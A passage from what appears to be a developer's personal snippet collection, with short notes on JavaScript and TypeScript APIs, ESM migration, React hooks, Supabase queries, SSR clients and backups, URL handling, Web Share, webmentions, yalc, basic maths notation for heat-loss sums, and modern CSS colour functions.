  if (event.isComposing) {
    // ignore keystrokes while an IME composition is in progress
    return
  }
  // do something
})

event.isComposing is all you need to detect IME composition these days — the old keyCode === 229 check is dead along with keyCode itself. If you need finer control, listen for compositionstart/compositionend.

Use event.key (the character/action, e.g. 'Enter', 'a') or event.code (the physical key, e.g. 'KeyA') to identify which key was pressed.

Alt link: http://keycode.info/

`isFormField()` util

export function isFormField(element: Node): boolean {
  if (!(element instanceof HTMLElement)) {
    return false
  }

  const name = element.nodeName.toLowerCase()
  const type = (element.getAttribute('type') || '').toLowerCase()
  return (
    name === 'select' ||
    name === 'textarea' ||
    (name === 'input' && type !== 'submit' && type !== 'reset') ||
    element.isContentEditable
  )
}

Nock

Zander Martineau — Mon, 20 Jul 2026 00:00:00 GMT

import nock from 'nock'

const scope = nock('https://api.github.com')
  .get('/repos/atom/atom/license')
  .reply(200, {
    license: {
      key: 'mit',
      name: 'MIT License',
      spdx_id: 'MIT',
      url: 'https://api.github.com/licenses/mit',
      node_id: 'MDc6TGljZW5zZTEz',
    },
  })

Note: nock only intercepts Node's native fetch (undici) from v14 (2024) onwards — make sure you're on nock >= 14 if your code uses built-in fetch. Worth knowing about the modern alternatives too: MSW (msw/node) and undici's built-in MockAgent.

oEmbed

Zander Martineau — Mon, 20 Jul 2026 00:00:00 GMT

Default providers list: https://oembed.com/providers.json

Example provider scheme:

{
  "provider_name": "X",
  "provider_url": "https:\/\/x.com\/",
  "endpoints": [
    {
      "schemes": [
        "https:\/\/x.com\/*\/status\/*",
        "https:\/\/*.x.com\/*\/status\/*"
      ],
      "url": "https:\/\/publish.twitter.com\/oembed"
    }
  ]
},

// https://www.reddit.com/oembed?url=https://www.reddit.com/r/Showerthoughts/comments/2safxv/we_should_start_keeping_giraffes_a_secret_from/cno7zic
{
  "author_name": "Venus_11",
  "html": "\u003cblockquote class=\"reddit-embed-bq\" style=\"height:500px\" \u003e\n\u003ca href=\"https://www.reddit.com/r/OldSchoolCool/comments/17q1xwu/for_the_few_italians_herethis_is_our_old_school/\"\u003eFor the few italians here…this is our old school cool (1990s)\u003c/a\u003e\u003cbr\u003e by\n\u003ca href=\"https://www.reddit.com/user/Venus_11/\"\u003eu/Venus_11\u003c/a\u003e in\n\u003ca href=\"https://www.reddit.com/r/OldSchoolCool/\"\u003eOldSchoolCool\u003c/a\u003e\n\u003c/blockquote\u003e\n\u003cscript async src=\"https://embed.reddit.com/widgets.js\" charset=\"UTF-8\"\u003e\u003c/script\u003e",
  "provider_name": "reddit",
  "provider_url": "https://www.reddit.com",
  "title": "For the few italians here…this is our old school cool (1990s)",
  "type": "rich",
  "height": 500
}

Twitter / X

The schemes in providers.json now cover x.com/*/status/*, but the oEmbed endpoint itself is still publish.twitter.com/oembed and still answers.

// https://publish.twitter.com/oembed?url=https://x.com/rowancheung/status/1721939337409888732
{
  "url": "https://twitter.com/rowancheung/status/1721939337409888732",
  "author_name": "Rowan Cheung",
  "author_url": "https://twitter.com/rowancheung",
  "html": "\u003Cblockquote class=\"twitter-tweet\"\u003E\u003Cp lang=\"en\" dir=\"ltr\"\u003EIt&#39;s officially been 24 hours since the OpenAI DevDay announcements. \u003Cbr\u003E\u003Cbr\u003EThe leaks were true. The way we use ChatGPT is about to completely change.\u003Cbr\u003E\u003Cbr\u003EHere are 12 shocking things people have already built (early access): \u003Ca href=\"https://t.co/tCyCncfaZu\"\u003Epic.twitter.com/tCyCncfaZu\u003C/a\u003E\u003C/p\u003E&mdash; Rowan Cheung (@rowancheung) \u003Ca href=\"https://twitter.com/rowancheung/status/1721939337409888732?ref_src=twsrc%5Etfw\"\u003ENovember 7, 2023\u003C/a\u003E\u003C/blockquote\u003E\n\u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003E\u003C/script\u003E\n",
  "width": 550,
  "height": null,
  "type": "rich",
  "cache_age": "3153600000",
  "provider_name": "Twitter",
  "provider_url": "https://twitter.com",
  "version": "1.0"
}

Mastodon

// https://mastodon.social/api/oembed?url=https://mastodon.social/@davatron5000/111364411004016868
{
  "type": "rich",
  "version": "1.0",
  "author_name": "Dave Rupert",
  "author_url": "https://mastodon.social/@davatron5000",
  "provider_name": "mastodon.social",
  "provider_url": "https://mastodon.social/",
  "cache_age": 86400,
  "html": "\u003ciframe src=\"https://mastodon.social/@davatron5000/111364411004016868/embed\" class=\"mastodon-embed\" style=\"max-width: 100%; border: 0\" width=\"400\" allowfullscreen=\"allowfullscreen\"\u003e\u003c/iframe\u003e\u003cscript src=\"https://mastodon.social/embed.js\" async=\"async\"\u003e\u003c/script\u003e",
  "width": 400,
  "height": null
}

Postman.io

Zander Martineau — Mon, 20 Jul 2026 00:00:00 GMT

Save a variable from a response

const jsonData = pm.response.json()
pm.collectionVariables.set('ref', jsonData.refs[0].ref)

Collection variables are usually the right target these days. Use pm.environment.set(...) instead if the value should differ per environment.

Pure ESM packages

Zander Martineau — Mon, 20 Jul 2026 00:00:00 GMT

My notes based on Sindre Sorhus's pure ESM gist, updated for the current state of Node.

A pure ESM package cannot be require()'d from CommonJS. If you hit one, you have these choices:

Use ESM yourself. (preferred)
Use import foo from 'foo' instead of const foo = require('foo') to import the package. You also need to put "type": "module" in your package.json and more. Follow the guide below.
If the package is used in an async context, you could use await import(…) from CommonJS instead of require(…).
Stay on the existing version of the package until you can move to ESM.

Make sure you're on a supported version of Node.js — 20.x at minimum, ideally 22+. (Node.js 18 and earlier are end-of-life.)

I'd strongly recommend moving to ESM. ESM can still import CommonJS packages, but CommonJS packages cannot import ESM packages synchronously (although recent Node versions can require() some ESM under the require(esm) feature, don't build on that as a package consumer strategy).

FAQ

How can I move my CommonJS project to ESM?

Add "type": "module" to your package.json.
Replace "main": "index.js" with "exports": "./index.js" in your package.json.
Update the "engines" field in package.json to Node.js 20+: "node": ">=20".
Remove 'use strict'; from all JavaScript files.
Replace all require()/module.export with import/export.
Use only full relative file paths for imports: import x from '.'; → import x from './index.js';.
If you have a TypeScript type definition (for example, index.d.ts), update it to use ESM imports/exports.
Optional but recommended, use the node: protocol for imports.

Can I import ESM packages in my TypeScript project?

Yes, but you need to convert your project to output ESM. See below.

How can I make my TypeScript project output ESM?

Add "type": "module" to your package.json.
Replace "main": "index.js" with "exports": "./index.js" in your package.json.
Update the "engines" field in package.json to Node.js 20+: "node": ">=20".
Add "module": "NodeNext" (and "moduleResolution": "NodeNext") to your tsconfig.json.
Use only full relative file paths for imports: import x from '.'; → import x from './index.js';.
Remove namespace usage and use export instead.
Optional but recommended, use the node: protocol for imports.
You must use a .js extension in relative imports even though you're importing .ts files.

How can I import ESM in Electron?

Electron supports ESM natively since Electron 28 (Dec 2023). Add "type": "module" to your package.json (or use .mjs files) and import away. Just note the caveats: the main process uses Node's ESM loader, sandboxed renderers/preloads use Chromium's.

I'm having problems with ESM and Webpack

The problem is either Webpack or your Webpack configuration. First, ensure you are on the latest version of Webpack. Try asking on Stack Overflow or open an issue on the Webpack repo.

I'm having problems with ESM and Next.js

Next.js 13+ has full ESM support. For older versions, you may need to configure transpilePackages in next.config.js.

I'm having problems with ESM and Jest

Read this first. The problem is either Jest (#9771) or your Jest configuration. First, ensure you are on the latest version of Jest. (Or honestly, consider Vitest — it's ESM-first and this whole class of problem disappears.)

I'm having problems with ESM and TypeScript

If you have decided to make your project ESM ("type": "module" in your package.json), make sure you have "module": "NodeNext" in your tsconfig.json and that all your import statements to local files use the .js extension, not .ts or no extension.

What about Create React App?

CRA was officially deprecated in February 2025 and never fully supported ESM packages. Migrate to Vite (or a framework) instead of fighting it.

How can I use TypeScript with AVA for an ESM project?

Follow this guide.

How can I make sure I don't accidentally use CommonJS-specific conventions?

Use these ESLint rules: unicorn/prefer-module and unicorn/prefer-node-protocol.

What do I use instead of `dirname` and `filename`?

import { fileURLToPath } from 'node:url'
import path from 'node:path'

const __filename = fileURLToPath(import.meta.url)
const __dirname = path.dirname(fileURLToPath(import.meta.url))

On Node 20.11+ it's even simpler — import.meta.dirname and import.meta.filename are built in.

However, in most cases, this is better:

import { fileURLToPath } from 'node:url'

const foo = fileURLToPath(new URL('foo.js', import.meta.url))

And many Node.js APIs accept URL directly, so you can just do this:

const foo = new URL('foo.js', import.meta.url)

How can I import a module and bypass the cache for testing?

This used to be a "no good way" situation, but not anymore:

Node has module customization hooks via module.register() since Node 20.6.
For test mocking, use your test runner's ESM mocking: vi.mock() in Vitest or jest.unstable_mockModule() in Jest.

If you really need a manual cache-bust, the query-string trick still works (testing only — it leaks memory and only reloads the module itself, not its dependencies):

const importFresh = async (modulePath) =>
  import(`${modulePath}?x=${new Date()}`)

const chalk = (await importFresh('chalk')).default

How can I import JSON?

Import attributes are stable (ES2025, Node 22+):

import packageJson from './package.json' with { type: 'json' }

Note: Node 18 used the older assert { type: 'json' } syntax, which is now deprecated/removed. If you need to support older Node, read and parse instead:

import { promises as fs } from 'node:fs'

const packageJson = JSON.parse(await fs.readFile('package.json'))

When should I use a default export or named exports?

Sindre's general rule, which I agree with: if something exports a single main thing, it should be a default export.

Keep in mind that you can combine a default export with named exports when it makes sense:

import readJson, { JSONError } from 'read-json'

Here, the main thing is readJson, but an error is also exported as a named export.

Asynchronous and synchronous API

If your package has both an asynchronous and synchronous main API, use named exports:

import { readJson, readJsonSync } from 'read-json'

This makes it clear to the reader that the package exports multiple main APIs. It also follows the Node.js convention of suffixing the synchronous API with Sync.

Readable named exports

Avoid overly generic names for named exports:

import { parse } from 'parse-json'

This forces the consumer to either accept the ambiguous name (which might cause naming conflicts) or rename it:

import { parse as parseJson } from 'parse-json'

Instead, make it easy for the user:

import { parseJson } from 'parse-json'

Examples

With ESM, descriptive named exports often beat a namespace default export:

CommonJS (before):

const isStream = require('is-stream');

isStream.writable(…);

ESM (now):

import {isWritableStream} from 'is-stream';

isWritableStream(…);

React compound components

Zander Martineau — Mon, 20 Jul 2026 00:00:00 GMT

import React, { useContext } from 'react'

const Context = React.createContext()

const List = ({ isSmall = false, children, ...props }) => (
  <ul {...props} style={{ padding: isSmall ? '5px' : '10px' }}>
    <Context.Provider value={isSmall}>{children}</Context.Provider>
  </ul>
)

const ListItem = ({ children, ...props }) => {
  const isSmall = useContext(Context)

  return (
    <li {...props} style={{ padding: isSmall ? '5px' : '10px' }}>
      {children}
    </li>
  )
}

export { List, ListItem }

<List isSmall>
  <ListItem>Cat</ListItem>
  <ListItem>Dog</ListItem>
</List>

Note: in React 19 you can render <Context value={isSmall}> directly instead of <Context.Provider value={isSmall}>, and use(Context) is the newer alternative to useContext.

Another example: https://egghead.io/lessons/react-write-compound-components

useReducer

Zander Martineau — Mon, 20 Jul 2026 00:00:00 GMT

TS/React docs: https://github.com/typescript-cheatsheets/react-typescript-cheatsheet/blob/master/README.md#hooks

Example

import { useReducer } from 'react'

interface State {
  count: number
}

type Action = { type: 'increment' } | { type: 'decrement' } | { type: 'reset'; payload: number }

const initialState: State = { count: 0 }

const reducer = (state: State, action: Action): State => {
  switch (action.type) {
    case 'increment':
      return { count: state.count + 1 }
    case 'decrement':
      return { count: state.count - 1 }
    case 'reset':
      return { count: action.payload }
  }
}

export const Counter = () => {
  const [state, dispatch] = useReducer(reducer, initialState)
  return (
    <>
      Count: {state.count}
      <button onClick={() => dispatch({ type: 'decrement' })}>-</button>
      <button onClick={() => dispatch({ type: 'increment' })}>+</button>
      <button onClick={() => dispatch({ type: 'reset', payload: 0 })}>Reset</button>
    </>
  )
}

With lazy initialisation

const init = (initialCount: number): State => {
  return { count: initialCount }
}

const Counter = ({ initialCount }: { initialCount: number }) => {
  const [state, dispatch] = useReducer(reducer, initialCount, init)
  // ...
}

useImmer

For complex stuff, useImmer is a great option

Removing items from arrays

Zander Martineau — Mon, 20 Jul 2026 00:00:00 GMT

Remove all matching items

filter is the first thing to reach for — it returns a new array and leaves the original alone:

const removeAllItemsFromArray = (arr, value) => arr.filter((x) => x !== value)

// Usage
console.log(removeAllItemsFromArray([2, 5, 9, 1, 5, 8, 5], 5))

Remove item at an index (without mutating)

ES2023's toSpliced is the immutable version of splice:

const removeItemAtIndex = (arr, index) => arr.toSpliced(index, 1)

// Usage
console.log(removeItemAtIndex([2, 5, 9, 1, 5, 8, 5], 2))

In-place variants with `splice`

If you actually want to mutate the array:

const removeItemFromArray = (arr, value) => {
  const index = arr.indexOf(value)
  if (index > -1) {
    arr.splice(index, 1)
  }
  return arr
}

// Usage
console.log(removeItemFromArray([2, 5, 9, 1, 5, 8, 5], 5))

const removeAllItemsFromArray = (arr, value) => {
  let i = 0
  while (i < arr.length) {
    if (arr[i] === value) {
      arr.splice(i, 1)
    } else {
      ++i
    }
  }
  return arr
}

// Usage
console.log(removeAllItemsFromArray([2, 5, 9, 1, 5, 8, 5], 5))

Save scroll position

Zander Martineau — Mon, 20 Jul 2026 00:00:00 GMT

let element = document.querySelector('.element')

let top = sessionStorage.getItem('element-scroll')

if (top !== null) {
  element.scrollTop = parseInt(top, 10)
}

window.addEventListener('pagehide', () => {
  sessionStorage.setItem('element-scroll', element.scrollTop)
})

Use pagehide rather than beforeunload — beforeunload is unreliable on mobile and makes the page ineligible for the back/forward cache.

If you just want the browser to restore the whole page's scroll position, you don't need any of this — that's what history.scrollRestoration controls, and it's on by default.

Supabase.js

Zander Martineau — Mon, 20 Jul 2026 00:00:00 GMT

Selecting data

const { data, error } = await supabase.from('posts').select(`*`)

Matching data

const { data, error } = await supabase
  .from('posts')
  .select(`*`)
  .match({ status: 'active' })

Selecting specific items

const { data: entry } = await supabase
  .from('posts')
  .select(`*`)
  .match({ id: 1234, status: 'active' })
  .single()

Sorting data

const { data, error } = await supabase
  .from('posts')
  .select(`*`)
  .order('date', { ascending: false })

Related data

const { data, error } = await supabase
  .from('posts')
  .select(`*, journals(name, id)`)

Paginate results

const getPagination = (page: number, count: number) => {
  const limit = count ? +count : 3
  const from = page ? page * limit : 0
  const to = page ? from + count - 1 : count - 1

  return { from, to }
}

const { from, to } = getPagination(page, 10)
const { data, count } = await supabase
  .from('posts')
  .select('*', { count: 'exact' })
  .order('id', { ascending: true })
  .range(from, to)

Selecting data by date

const { data, error } = await supabase
  .from('events')
  .select('*')
  .gte('starttime', new Date('2021-07-10').toISOString())
  .lte('starttime', new Date('2021-07-11').toISOString())

Adding data

const { data, error } = await supabase
  .from('posts')
  .insert([
    {
      title: 'The title',
      body: 'The body',
      owner: session?.user.id,
    },
  ])
  .select() // This is needed to return the inserted data

Generated your schema locally

npx supabase gen types typescript --project-id your-project-id --schema public > src/types/supabase.ts

@supabase/ssr

Note: since Supabase's 2025 API key migration, new projects get sb_publishable_... keys instead — commonly stored as NEXT_PUBLIC_SUPABASE_PUBLISHABLE_KEY. NEXT_PUBLIC_SUPABASE_ANON_KEY (used below) is the legacy name.

Browser client

import { Database } from '@/src/types/supabase' // generated from your DB schema
import { createBrowserClient as _createBrowserClient } from '@supabase/ssr'

export const createBrowserClient = () =>
  _createBrowserClient<Database>(
    process.env.NEXT_PUBLIC_SUPABASE_URL!,
    process.env.NEXT_PUBLIC_SUPABASE_ANON_KEY!
  )

Server client

The newer @supabase/ssr API uses getAll and setAll for cookie handling:

import { createServerClient } from '@supabase/ssr'
import { cookies } from 'next/headers'
import { Database } from '@/types/supabase'

export async function createClient() {
  const cookieStore = await cookies()

  return createServerClient<Database>(
    process.env.NEXT_PUBLIC_SUPABASE_URL!,
    process.env.NEXT_PUBLIC_SUPABASE_ANON_KEY!,
    {
      cookies: {
        getAll() {
          return cookieStore.getAll()
        },
        setAll(cookiesToSet) {
          try {
            cookiesToSet.forEach(({ name, value, options }) =>
              cookieStore.set(name, value, options)
            )
          } catch {
            // The `setAll` method was called from a Server Component.
            // This can be ignored if you have middleware refreshing
            // user sessions.
          }
        },
      },
    }
  )
}

Middleware client

import { createServerClient } from '@supabase/ssr'
import { NextResponse, type NextRequest } from 'next/server'

export async function updateSession(request: NextRequest) {
  let supabaseResponse = NextResponse.next({
    request,
  })

  const supabase = createServerClient(
    process.env.NEXT_PUBLIC_SUPABASE_URL!,
    process.env.NEXT_PUBLIC_SUPABASE_ANON_KEY!,
    {
      cookies: {
        getAll() {
          return request.cookies.getAll()
        },
        setAll(cookiesToSet) {
          cookiesToSet.forEach(({ name, value, options }) =>
            request.cookies.set(name, value, options)
          )
          supabaseResponse = NextResponse.next({
            request,
          })
          cookiesToSet.forEach(({ name, value, options }) =>
            supabaseResponse.cookies.set(name, value, options)
          )
        },
      },
    }
  )

  // Refresh session if expired
  await supabase.auth.getUser()

  return supabaseResponse
}

Use in middleware:

// middleware.ts
import { type NextRequest } from 'next/server'
import { updateSession } from '@/utils/supabase/middleware'

export async function middleware(request: NextRequest) {
  return await updateSession(request)
}

export const config = {
  matcher: ['/((?!_next/static|_next/image|favicon.ico).*)'],
}

Switch(true)

Zander Martineau — Mon, 20 Jul 2026 00:00:00 GMT

You can use switch (true) instead of multiple if/else statements

const x = 1

switch (true) {
  case x === 1:
    // ...
    break
  case 5 < x:
    // ...
    break
}

URL & URLSearchParams

Zander Martineau — Mon, 20 Jul 2026 00:00:00 GMT

URL

Docs: http://developer.mozilla.org/en-US/docs/Web/API/URL

const url = new URL('https://mysite.com/login?user=zander&page=news#hello')

url.hostname // mysite.com
url.pathname // /login
url.href // https://mysite.com/login?user=zander&page=news#hello
url.origin // https://mysite.com
url.search // ?user=zander&page=news
url.hash // #hello

URLSearchParams

Docs: http://developer.mozilla.org/en-US/docs/Web/API/URLSearchParams/URLSearchParams

// note: don't pass a full URL string to URLSearchParams directly —
// it treats the whole thing as a query string. Go via new URL() instead.
const params = new URL('https://mysite.com/login?user=zander&page=news#hello')
  .searchParams

params.has('user') // true
params.get('user') // 'zander'

params.set('page', 'code')
params.toString() // user=zander&page=code

for (const [key, value] of params) {
  // ...
}

params.delete('page')
params.toString() // user=zander

Convert a url with search params to an object:

// one liner
const params = Object.fromEntries(
  new URL('https://mysite.com/login?user=zander&page=news#hello').searchParams
)

// multi-line
const url = new URL('https://mysite.com/login?user=zander&page=news#hello')
const urlParams = new URLSearchParams(url.search)
const params = Object.fromEntries(urlParams)

`URL.canParse()`

A quick boolean check for whether a string is a valid URL — no try/catch needed:

URL.canParse('https://mysite.com') // true
URL.canParse('user=zander&page=news') // false

`URL.parse()`

Like the URL constructor but it returns null on invalid input instead of throwing:

const url = URL.parse('not a url') // null
const ok = URL.parse('https://mysite.com/login') // URL instance

Use `proper-url-join` to construct a url

I use this package on nearly every project to normalise urls

https://github.com/moxystudio/js-proper-url-join

Caveat: it's barely maintained these days, and the native URL API covers most of these cases now — I'd reach for that first.

import urlJoin from 'proper-url-join'

urlJoin('foo', 'bar') // /foo/bar
urlJoin('/foo/', '/bar/') // /foo/bar
urlJoin('foo', '', 'bar') // /foo/bar
urlJoin('foo', undefined, 'bar') // /foo/bar
urlJoin('foo', null, 'bar') // /foo/bar

// With leading & trailing slash options
urlJoin('foo', 'bar', { leadingSlash: false }) // foo/bar
urlJoin('foo', 'bar', { trailingSlash: true }) // /foo/bar/
urlJoin('foo', 'bar', { leadingSlash: false, trailingSlash: true }) // foo/bar/

// Absolute URLs
urlJoin('http://google.com', 'foo') // http://google.com/foo

// Protocol relative URLs
urlJoin('//google.com', 'foo', { protocolRelative: true }) // //google.com/foo

// With query string as an url part
urlJoin('foo', 'bar?queryString') // /foo/bar?queryString
urlJoin('foo', 'bar?queryString', { trailingSlash: true }) // /foo/bar/?queryString

// With query string as an object
urlJoin('foo', { query: { biz: 'buz', foo: 'bar' } }) // /foo?biz=buz&foo=bar

// With both query string as an url part and an object
urlJoin('foo', 'bar?queryString', { query: { biz: 'buz', foo: 'bar' } }) // /foo/bar?biz=buz&foo=bar&queryString

Useful JavaScript functions & snippets

Zander Martineau — Mon, 20 Jul 2026 00:00:00 GMT

Automatically remove an event listener after it has executed

el.addEventListener('click', console.log, {
  once: true,
})

The magical `handleEvent` function

// Get a reference to the <button>
const btn = document.querySelector('button')

// Define object with `handleEvent` function
const myObject = {
  handleEvent: (event) => {
    alert(event.type)
  },
}

// Listen for 'click' events on the <button> and handle them with `myObject`... WHAT?!?!
btn.addEventListener('click', myObject)

More info

Remove query param

export const removeSearchParam = (name: string): void => {
  const url = new URL(location.href)
  url.searchParams.delete(name)
  history.replaceState(null, '', url)
}

Web Share

Zander Martineau — Mon, 20 Jul 2026 00:00:00 GMT

const shareData = {
  title: 'My Page',
  text: 'Check out this page.',
  url: 'https://example.com/',
}

// Check if sharing is supported
if (navigator.canShare?.(shareData)) {
  try {
    await navigator.share(shareData)
    console.log('Shared successfully')
  } catch (err) {
    if (err.name !== 'AbortError') {
      console.error('Error sharing:', err)
    }
  }
}

Legacy check (for older browsers):

if (navigator.share) {
  navigator
    .share(shareData)
    .then(() => console.log('Successful share'))
    .catch((error) => console.log('Error sharing', error))
}

If your page has a canonical url:

let url = document.location.href
const canonicalElement = document.querySelector('link[rel=canonical]')
if (canonicalElement !== null) {
  url = canonicalElement.href
}
navigator.share({ url: url })

Code snippets

<h1>This is a demo of the web share button</h1>

<p>
  Here is an image that you can
  <a class="web-share" href="https://picsum.photos/200/287">share the URL</a>:
</p>
<p>
  <img src="https://picsum.photos/200/287" alt="Place holder image" />
</p>

let shareButtons = document.querySelectorAll('a.web-share')
for (const button of shareButtons) {
  button.addEventListener('click', function (e) {
    let href = this.getAttribute('href')
    let alt = this.getAttribute('alt')
    if (navigator.share) {
      navigator.share({
        title: alt,
        url: href,
      })
      e.preventDefault()
    }
  })
}

Demo

This pen is from 2019 so it may be a bit dated, but the idea still holds.

References

https://developer.mozilla.org/en-US/docs/Web/API/Navigator/share

Webmentions

Zander Martineau — Mon, 20 Jul 2026 00:00:00 GMT

Go to webmention.io

Add this to your site:

<link rel="webmention" href="https://webmention.io/zander.wtf/webmention" />
<link rel="pingback" href="https://webmention.io/zander.wtf/xmlrpc" />

Feeds:

https://webmention.io/api/mentions.html?token=YOUR_API_KEY
https://webmention.io/api/mentions.atom?token=YOUR_API_KEY

API Key

Find your API key on your webmention.io dashboard — keep it out of your source code.

Fetching mentions for a page

The mentions.jf2 endpoint is CORS-enabled, so you can fetch() it directly:

const response = await fetch(
  `https://webmention.io/api/mentions.jf2?per-page=500&target=${PAGE_URL}`
)
const mentions = await response.json()

Yalc

Zander Martineau — Mon, 20 Jul 2026 00:00:00 GMT

Heads up: yalc has been effectively unmaintained since ~2021, but it still works. Alternatives worth knowing about: pnpm add ../package-a (or the link: protocol), npm pack, or just using pnpm workspaces — though none of them quite replicate yalc's publish/push model.

Installation

npm install -g yalc

Usage

Say we have two projects. e.g. one website & one npm package that the website depends on:

website-a which depends on npm package-a

Step 1

Run yalc publish in the package-a repo

Step 2

Run yalc add package-a in the website-a repo

Step 3

Run yarn in website-a

Step 4

Whenever you update package-a, run yalc push in the package-a repo

You may need to run yarn build && yalc push if package-a needs building first. And You may need to run run yalc add package-a in the website-a repo.

If you have a dev server running in website-a, it might pick up the changes after yalc push automatically so you may not need to do anything else.

Revert

When you're done testing with Yalc, run yalc remove --all to remove all the yalced packages from website-a

Basic Maths Notation

Zander Martineau — Wed, 03 Jun 2026 00:00:00 GMT

A reference for reading the symbols in formulas, written for people (me) who aren't confident with maths. Most "scary" equations are just a recipe: do these operations, in this order, with these named ingredients.

The symbols you'll meet most

Symbol	Name	Means	Example
`Σ`	sigma (capital)	sum: add up a series of things	see below
`Δ`	delta (capital)	change/difference between two values	`ΔT = 21 − (−3)`
`·`	dot	multiply (same as `×`)	`W/m²·K`
`²` `³`	superscript	a power: how many times to multiply by itself	`m² = m × m`
`√`	root	the opposite of a power	`√9 = 3`
`ⁿ` `ₓ`	super/subscript	a label or a power, depending on context	`x₁`, `2ⁿ`
`≈`	approximately equal	"about", not exact	`π ≈ 3.14`
`∝`	proportional to	grows in step with	`cost ∝ size`

Σ — "sum of"

The capital Greek letter sigma means add all of these up. It looks intimidating but it's just a loop.

Σ (U × A × ΔT)

reads as: for each item, work out U × A × ΔT, then add all those results together.

In code it's a for loop with a running total:

// Σ (U × A × ΔT) for every wall/window/etc in a room
const total = surfaces.reduce(
  (sum, s) => sum + s.U * s.A * deltaT,
  0,
);

So a single Σ replaces "do this for the wall, the window, the roof, the floor… then add it all up".

Δ — "the change in"

Capital delta means difference: end value minus start value.

ΔT = inside − outside = 21 − (−3) = 24

The two minus signs trip people up. Subtracting a negative is the same as adding:

21 − (−3)  =  21 + 3  =  24

ΔT is read "delta T" and almost always means a temperature difference.

Powers and roots

A small raised number is a power — how many times to multiply a number by itself:

m²  = m × m          (square — think area)
m³  = m × m × m      (cube — think volume)
2⁵  = 2 × 2 × 2 × 2 × 2 = 32

A root is the reverse. √9 = 3 because 3 × 3 = 9.

You'll see powers most often in units (m² for area, m³ for volume), not just in equations.

Reading units: the `/` and `·`

Units carry meaning. Learn to read them aloud:

/ = "per". m/s = metres per second.
· = multiply. W/m²·K = watts per (square-metre times kelvin).
K = kelvin. For a difference in temperature, 1 K = 1 °C, so ΔT in K and in °C are the same number.

When a unit looks busy, it's usually telling you exactly what to multiply and divide:

U has units W/m²·K. Multiply it by an area (m²) and a temperature difference (K) and the m² and K cancel out, leaving W — watts, a rate of heat loss. The units are a built-in sanity check.

Worked example — heat loss from a room

Two formulas, both just "multiply the named things together". Numbers from a real heat-loss calc.

1. Fabric loss — heat through walls/windows/roof/floor

Q_fabric = Σ (U × A × ΔT)

U = U-value (W/m²·K) — how leaky the material is. Triple glazing ≈ 0.8, solid brick ≈ 2.1. Higher = leakier.
A = area (m²)
ΔT = inside target − outside design temp, e.g. 21 − (−3) = 24 K
Q_fabric = the answer, in watts. (Q is the standard letter for "quantity of heat"; the small fabric is just a label, not maths.)

The Σ says: do U × A × ΔT for each surface, then add them.

const surfaces = [
  { name: 'wall',   U: 2.1, A: 12 },
  { name: 'window', U: 0.8, A: 3  },
];
const deltaT = 21 - -3; // 24

const qFabric = surfaces.reduce(
  (sum, s) => sum + s.U * s.A * deltaT,
  0,
);
// wall:   2.1 × 12 × 24 = 604.8 W
// window: 0.8 × 3  × 24 =  57.6 W
// total = 662.4 W

2. Ventilation loss — heat carried out by air leaving the room

Q_vent = 0.33 × ACH × V × ΔT

0.33 = volumetric heat capacity of air (Wh/m³·K) — a fixed constant.
ACH = air changes per hour (a lookup based on room type).
V = room volume (m³)
ΔT = same temperature difference as above.

No Σ here — it's a single multiplication, left to right:

const qVent = 0.33 * ach * volume * deltaT;
// e.g. 0.33 × 1.5 × 30 × 24 = 356.4 W

Total heat the room loses = Q_fabric + Q_vent. That's the size of radiator you need.

The trick for any formula

Name every symbol. A formula is a sentence — Q, U, A are just nouns with values.
Subscripts are labels, not maths. Q_fabric and Q_vent are two different Qs.
Σ means loop-and-add. Everything inside it happens once per item.
Units tell you the operations. If the answer should be watts and you've got watts, you did it right.
Work left to right, doing brackets ( ) first.

Once you can read it aloud in plain English, the maths is usually just multiplication.

Supabase

Zander Martineau — Thu, 30 Apr 2026 00:00:00 GMT

Backup and restore

These commands can be used to backup a Supabase PostgreSQL database. They use the supabase CLI tool to connect to your project and dump the schema, roles, and data into SQL files.

supabase login

npx supabase link --project-ref {your project ref}

mkdir -p backups

supabase db dump --linked \
  --role-only \
  -f backups/roles.sql

supabase db dump --linked \
  -f backups/schema.sql

supabase db dump --linked \
  --data-only \
  --use-copy \
  -f backups/data.sql

CSS Functions

Zander Martineau — Wed, 18 Mar 2026 00:00:00 GMT

A reference of modern CSS functions — the ones worth knowing about beyond the basics like rgb(), calc(), and var().

Colour

`color-mix()`

Mix two colours together in a given colour space. The percentage controls how much of the second colour is mixed in.

.card {
  /* 50/50 mix */
  background: color-mix(in srgb, royalblue, white);

  /* 25% white into royalblue = a lighter blue */
  background: color-mix(in srgb, royalblue, white 25%);

  /* Mix in oklch for perceptually uniform results */
  background: color-mix(in oklch, #e63946, #457b9d);

  /* Create a semi-transparent version of a colour */
  background: color-mix(in srgb, currentColor, transparent 50%);

  /* Works with custom properties */
  --primary: royalblue;
  background: color-mix(in srgb, var(--primary), black 20%);
}

`light-dark()`

Returns one of two values depending on the user's colour scheme. Requires color-scheme to be set.

:root {
  color-scheme: light dark;
}

body {
  background: light-dark(#ffffff, #1a1a1a);
  color: light-dark(#111111, #eeeeee);
}

.card {
  border: 1px solid light-dark(#ddd, #444);
  box-shadow: 0 2px 8px light-dark(rgb(0 0 0 / 0.1), rgb(0 0 0 / 0.4));
}

a {
  color: light-dark(royalblue, cornflowerblue);
}

`color()`

Access wider-gamut colour spaces like Display P3:

.vibrant {
  /* Standard sRGB fallback */
  background: #ff4500;
  /* P3 — more vivid on supported displays */
  background: color(display-p3 1 0.27 0);
}

.subtle {
  background: color(display-p3 0.5 0.8 0.6);
}

`oklch()` and `oklab()`

Perceptually uniform colour spaces. Great for generating palettes where lightness and chroma are predictable:

:root {
  /* oklch(lightness chroma hue) */
  --blue-50: oklch(0.95 0.05 250);
  --blue-100: oklch(0.9 0.08 250);
  --blue-200: oklch(0.8 0.12 250);
  --blue-500: oklch(0.6 0.2 250);
  --blue-900: oklch(0.3 0.12 250);

  /* Rotate hue to create related colours */
  --primary: oklch(0.6 0.2 250);
  --secondary: oklch(0.6 0.2 310);
  --accent: oklch(0.6 0.2 30);
}

Relative colour syntax

Transform an existing colour by adjusting individual channels:

:root {
  --brand: royalblue;

  /* Make it 20% lighter */
  --brand-light: oklch(from var(--brand) calc(l + 0.2) c h);

  /* Make it 20% darker */
  --brand-dark: oklch(from var(--brand) calc(l - 0.2) c h);

  /* Desaturate */
  --brand-muted: oklch(from var(--brand) l calc(c * 0.5) h);

  /* Set alpha */
  --brand-faded: oklch(from var(--brand) l c h / 0.5);

  /* Shift hue */
  --brand-complement: oklch(from var(--brand) l c calc(h + 180));
}

Math

`min()`, `max()`, `clamp()`

